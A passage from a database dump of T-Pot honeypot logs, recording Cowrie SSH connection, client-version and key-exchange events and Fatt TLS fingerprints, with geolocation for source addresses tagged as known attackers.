"umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 57706, "dest_port": 22, "timestamp": "2021-09-20T11:10:24.399449", "@timestamp": "2021-09-20T11:10:24.399Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
25739	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:10:45.044994+03	2021-09-20 14:15:11.811651+03	{"_id": "awbmAnwBvYTbRNuEsRxq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "cd043c0f600b", "@version": "1", "duration": 3.678748607635498, "timestamp": "2021-09-20T11:10:45.044994Z", "@timestamp": "2021-09-20T11:10:45.044Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
25740	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:10:45.091055+03	2021-09-20 14:15:11.815661+03	{"_id": "bAbmAnwBvYTbRNuEsRxq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "ae82cd1edada", "@version": "1", "duration": 3.4365921020507812, "timestamp": "2021-09-20T11:10:45.091055Z", "@timestamp": "2021-09-20T11:10:45.091Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
25743	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:10:45.834276+03	2021-09-20 14:15:12.356646+03	{"_id": "cwbmAnwBvYTbRNuEtBzA", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 34868, "dest_port": 443, "timestamp": "2021-09-20T11:10:45.834276", "@timestamp": "2021-09-20T11:10:45.834Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
25744	160.44.201.156	109.199.241.180	Fatt	2021-09-20 14:10:45.876521+03	2021-09-20 14:15:12.372658+03	{"_id": "dAbmAnwBvYTbRNuEtBzC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 34868, "timestamp": "2021-09-20T11:10:45.876521", "@timestamp": "2021-09-20T11:10:45.876Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
25745	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:10:45.530219+03	2021-09-20 14:15:12.379645+03	{"_id": "dQbmAnwBvYTbRNuEthxR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:39456 (192.168.176.2:22) [session: ddfbe5f37749]", "session": "ddfbe5f37749", "@version": "1", "protocol": "ssh", "src_port": 39456, "dest_port": 22, "timestamp": "2021-09-20T11:10:45.530219Z", "@timestamp": "2021-09-20T11:10:45.530Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
25746	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:10:45.972197+03	2021-09-20 14:15:12.385646+03	{"_id": "dgbmAnwBvYTbRNuEthxR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:7149 (192.168.176.2:22) [session: 041bd29e3be2]", "session": "041bd29e3be2", "@version": "1", "protocol": "ssh", "src_port": 7149, "dest_port": 22, "timestamp": "2021-09-20T11:10:45.972197Z", "@timestamp": "2021-09-20T11:10:45.972Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
25747	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:10:46.012418+03	2021-09-20 14:15:12.386644+03	{"_id": "dwbmAnwBvYTbRNuEthxR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:52948 (192.168.176.2:22) [session: db4d5d8ba232]", "session": "db4d5d8ba232", "@version": "1", "protocol": "ssh", "src_port": 52948, "dest_port": 22, "timestamp": "2021-09-20T11:10:46.012418Z", "@timestamp": "2021-09-20T11:10:46.012Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
25748	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:10:46.223451+03	2021-09-20 14:15:12.387646+03	{"_id": "eAbmAnwBvYTbRNuEthxR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:55272 (192.168.176.2:22) [session: b14e47526fa5]", "session": "b14e47526fa5", "@version": "1", "protocol": "ssh", "src_port": 55272, "dest_port": 22, "timestamp": "2021-09-20T11:10:46.223451Z", "@timestamp": "2021-09-20T11:10:46.223Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
25749	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:10:45.666605+03	2021-09-20 14:15:12.388645+03	{"_id": "jgbmAnwBvYTbRNuEthxR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "ddfbe5f37749", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:10:45.666605Z", "@timestamp": "2021-09-20T11:10:45.666Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
25750	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:10:45.806554+03	2021-09-20 14:15:12.389646+03	{"_id": "jwbmAnwBvYTbRNuEthxR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "ddfbe5f37749", "@version": "1", "timestamp": "2021-09-20T11:10:45.806554Z", "@timestamp": "2021-09-20T11:10:45.806Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
25751	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:10:45.981331+03	2021-09-20 14:15:12.391652+03	{"_id": "kAbmAnwBvYTbRNuEthxR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "041bd29e3be2", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:10:45.981331Z", "@timestamp": "2021-09-20T11:10:45.981Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
25752	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:10:46.094712+03	2021-09-20 14:15:12.392646+03	{"_id": "kQbmAnwBvYTbRNuEthxR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "db4d5d8ba232", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:10:46.094712Z", "@timestamp": "2021-09-20T11:10:46.094Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
25753	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:10:46.250125+03	2021-09-20 14:15:12.393646+03	{"_id": "kgbmAnwBvYTbRNuEthxR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "041bd29e3be2", "@version": "1", "timestamp": "2021-09-20T11:10:46.250125Z", "@timestamp": "2021-09-20T11:10:46.250Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
25754	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:10:46.295424+03	2021-09-20 14:15:12.394646+03	{"_id": "kwbmAnwBvYTbRNuEthxR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", 